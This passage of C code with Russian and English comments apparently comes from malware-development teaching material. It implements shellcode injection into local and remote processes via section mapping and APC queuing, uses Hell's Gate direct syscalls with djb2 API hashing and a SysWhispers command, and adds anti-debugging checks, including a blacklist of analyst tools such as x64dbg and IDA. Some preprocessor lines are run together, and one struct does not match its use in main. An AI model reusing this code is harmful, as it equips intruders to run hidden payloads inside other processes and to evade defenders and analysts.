    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // Выделение удаленного представления
    if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    if ((STATUS = NtClose(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtCreateSection;
    VX_TABLE_ENTRY NtMapViewOfSection;
    VX_TABLE_ENTRY NtUnmapViewOfSection;
    VX_TABLE_ENTRY NtClose;
    VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;

DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

#define NtCreateSection_djb2         0x5687F81AC5D1497A
#define NtMapViewOfSection_djb2      0x0778E82F702E79D4
#define NtUnmapViewOfSection_djb2    0x0BF2A46A27B93797
#define NtClose_djb2                 0x0DA4FA80EF5031E7
#define NtCreateThreadEx_djb2        0x2786FB7E75145F1A

BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize     = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления
    HellsGate(pVxTable->NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Выделен адрес: 0x%p размером: %ld \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    HellsGate(pVxTable->NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    HellsGate(pVxTable->NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

    // Выделение удаленного представления
    HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока
    printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
    getchar();
    printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] ГОТОВО \n");
    printf("\t[+] Поток создан с ID: %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
    HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    HellsGate(pVxTable->NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

INT main() {
    // Getting the PEB structure
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;

    // Getting the NTDLL module
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Getting the EAT of Ntdll
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return 0x01;

//--------------------------------------------------------------------------
    // Initializing the 'Table' structure
    VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
        return 0x1;

    Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
        return 0x1;

    Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
        return 0x1;

    Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
        return 0x1;

//--------------------------------------------------------------------------
    // injection code - calling the 'ClassicInjectionViaSyscalls' function


// If local injection
#ifdef LOCAL_INJECTION if (!LocalMappingInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
        return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
    printf("[i] Targeting process of id : %d \n", PROCESS_ID);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
    if (hProcess == NULL) {
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
        return -1;
    }

    if (!RemoteMappingInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
        return 0x1;

#endif // REMOTE_INJECTIONreturn 0x00;
}

#define LOCAL_INJECTION#ifndef LOCAL_INJECTION#define REMOTE_INJECTION// Установите PID целевого процесса
#define PROCESS_ID    18784    #endif // !LOCAL_INJECTION

NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle, // Дескриптор потока для выполнения указанной APC
IN PIO_APC_ROUTINE ApcRoutine, // Указатель на предоставленную пользователем функцию APC для выполнения
IN PVOID ApcRoutineContext OPTIONAL, // Указатель на параметр (1) для APC (установлен в NULL)
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, // Указатель на параметр (2) для APC (установлен в NULL)
IN ULONG ApcReserved OPTIONAL // Указатель на параметр (3) для APC (установлен в NULL)
);

VOID AlterableFunction() {

HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);

MsgWaitForMultipleObjectsEx(
1,
&hEvent,
INFINITE,
QS_HOTKEY,
MWMO_ALERTABLE
);

}

typedef struct _Syscall {

fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
fnNtQueueApcThread        pNtQueueApcThread;
} Syscall, * PSyscall;

BOOL InitializeSyscallStruct(OUT PSyscall St) {

rust
Copy code
HMODULE hNtdll =  GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
    printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
    return FALSE;
}

St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtQueueApcThread         = (fnNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");

// Проверка, что GetProcAddress не пропустил системный вызов
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtQueueApcThread == NULL)
    return FALSE;
else
    return TRUE;
}

BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

Syscall     St                      = { 0 };
NTSTATUS    STATUS                  = NULL;
PVOID       pAddress                = NULL;
ULONG       uOldProtection          = NULL;
SIZE_T      sSize                   = sPayloadSize,
            sNumberOfBytesWritten   = NULL;

// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)) {
    printf("[!] Could Not Initialize The Syscall Struct \n");
    return FALSE;
}

// Выделение памяти
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------

// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
    printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
    return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------

// Изменение разрешений памяти на RWX
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
    printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
//--------------------------------------------------------------------------

// Выполнение полезной нагрузки с помощью NtQueueApcThread

printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = St.pNtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
    printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] DONE \n");

return TRUE;
}

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v

BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

Syscall     St                      = { 0 };
NTSTATUS    STATUS                  = NULL;
PVOID       pAddress                = NULL;
ULONG       uOldProtection          = NULL;
SIZE_T      sSize                   = sPayloadSize,
            sNumberOfBytesWritten   = NULL;

// Выделение памяти
if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------

// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
    printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
    return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------

// Изменение разрешений памяти на RWX
if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
    printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
//--------------------------------------------------------------------------

// Выполнение полезной нагрузки с помощью NtQueueApcThread

printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = NtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
    printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] DONE \n");

return TRUE;
}

typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtWriteVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtQueueApcThread;
} VX_TABLE, * PVX_TABLE;

DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtQueueApcThread", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2    0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2  0xA0DCC2851566E832
#define NtQueueApcThread_djb2        0x331E6B6B7E696022

BOOL ApcInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    Syscall     St                      = { 0 };
    NTSTATUS    STATUS                  = NULL;
    PVOID       pAddress                = NULL;
    ULONG       uOldProtection          = NULL;
    SIZE_T      sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;

    // Allocating memory
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);

//--------------------------------------------------------------------------

    // Writing the payload
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Changing the memory's permissions to RWX
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------

    // Executing the payload via NtQueueApcThread

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
    HellsGate(pVxTable->NtQueueApcThread.wSystemCall);
    if ((STATUS = HellDescent(hThread, pAddress, NULL, NULL, NULL)) != 0) {
        printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");


    return TRUE;
}

if (IsDebuggerPresent()) {
  printf("[i] IsDebuggerPresent обнаружил отладчик \n");
  // Запустить безопасный код..
}

BOOL IsDebuggerPresent2() {

  // Получение структуры PEB
#ifdef _WIN64
    PPEB                    pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
    PPEB                    pPeb = (PEB*)(__readfsdword(0x30));
#endif// Проверка элемента 'BeingDebugged'
  if (pPeb->BeingDebugged == 1)
    return TRUE;

   return FALSE;
}

#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10#define FLG_HEAP_ENABLE_FREE_CHECK   0x20#define FLG_HEAP_VALIDATE_PARAMETERS 0x40

BOOL IsDebuggerPresent3() {

  // Получение структуры PEB
#ifdef _WIN64
    PPEB                    pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
    PPEB                    pPeb = (PEB*)(__readfsdword(0x30));
#endif// Проверка элемента 'NtGlobalFlag'
  if (pPeb->NtGlobalFlag == (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS))
    return TRUE;

  return FALSE;
}

NTSTATUS NtQueryInformationProcess(
  IN    HANDLE           ProcessHandle,               // Дескриптор процесса, для которого необходимо получить информацию.
  IN    PROCESSINFOCLASS ProcessInformationClass,     // Тип запрашиваемой информации о процессе.
  OUT   PVOID            ProcessInformation,          // Указатель на буфер, в который функция записывает запрошенную информацию.
  IN    ULONG            ProcessInformationLength,    // Размер буфера, указанного в параметре 'ProcessInformation'.
  OUT   PULONG           ReturnLength                 // Указатель на переменную, в которой функция возвращает размер запрошенной информации.
);

BOOL NtQIPDebuggerCheck() {

    NTSTATUS                      STATUS                        = NULL;
    fnNtQueryInformationProcess   pNtQueryInformationProcess    = NULL;
    DWORD64                       dwIsDebuggerPresent           = NULL;
    DWORD64                       hProcessDebugObject           = NULL;

    // Получение адреса NtQueryInformationProcess
    pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(TEXT("NTDLL.DLL")), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL) {
        printf("\t[!] GetProcAddress завершилось с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Вызов NtQueryInformationProcess с флагом 'ProcessDebugPort'
    STATUS = pNtQueryInformationProcess(
        GetCurrentProcess(),
        ProcessDebugPort,
        &dwIsDebuggerPresent,
        sizeof(DWORD64),
        NULL
    );

    if (STATUS != 0x0) {
        printf("\t[!] NtQueryInformationProcess [1] завершилось с кодом статуса: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Если NtQueryInformationProcess возвращает ненулевое значение, дескриптор действителен, что означает, что мы находимся в режиме отладки
    if (dwIsDebuggerPresent != NULL) {
        // обнаружен отладчик
        return TRUE;
    }

    // Вызов NtQueryInformationProcess с флагом 'ProcessDebugObjectHandle'
    STATUS = pNtQueryInformationProcess(
        GetCurrentProcess(),
        ProcessDebugObjectHandle,
        &hProcessDebugObject,
        sizeof(DWORD64),
        NULL
    );

    // Если STATUS не равен 0 и не равен 0xC0000353 (это 'STATUS_PORT_NOT_SET')
    if (STATUS != 0x0 && STATUS != 0xC0000353) {
        printf("\t[!] NtQueryInformationProcess [2] завершилось с кодом статуса: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Если NtQueryInformationProcess возвращает ненулевое значение, дескриптор действителен, что означает, что мы находимся в режиме отладки
    if (hProcessDebugObject != NULL) {
        // обнаружен отладчик
        return TRUE;
    }

    return FALSE;
}

BOOL HardwareBpCheck() {

    CONTEXT        Ctx        = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
        printf("\t[!] GetThreadContext не удалось : %d \n", GetLastError());
        return FALSE;
    }

    if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL)
        return TRUE; // Обнаружен отладчик

    return FALSE;
}

#define BLACKLISTARRAY_SIZE 5 // Количество элементов в массиве

WCHAR* g_BlackListedDebuggers[BLACKLISTARRAY_SIZE] = {
        L"x64dbg.exe",                 // Отладчик xdbg
        L"ida.exe",                    // Дизассемблер IDA
        L"ida64.exe",                  // Дизассемблер IDA
        L"VsDebugConsole.exe",         // Отладчик Visual Studio
        L"msvsmon.exe"                 // Отладчик Visual Studio
};

BOOL BlackListedProcessesCheck() {

    HANDLE                hSnapShot        = NULL;
    PROCESSENTRY32W        ProcEntry        = { .dwSize = sizeof(PROCESSENTRY32W) };
    BOOL                bSTATE            = FALSE;


    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\t[!] CreateToolhelp32Snapshot не удалось : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    if (!Process32FirstW(hSnapShot, &ProcEntry)) {
        printf("\t[!] Process32FirstW не удалось : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Перебирает массив 'g_BlackListedDebuggers' и сравнивает каждый элемент с текущим именем процесса, полученным из снимка
        for (int i = 0; i < BLACKLISTARRAY_SIZE; i++){
            if (wcscmp(ProcEntry.szExeFile, g_BlackListedDebuggers[i]) == 0) {
                // Обнаружен отладчик
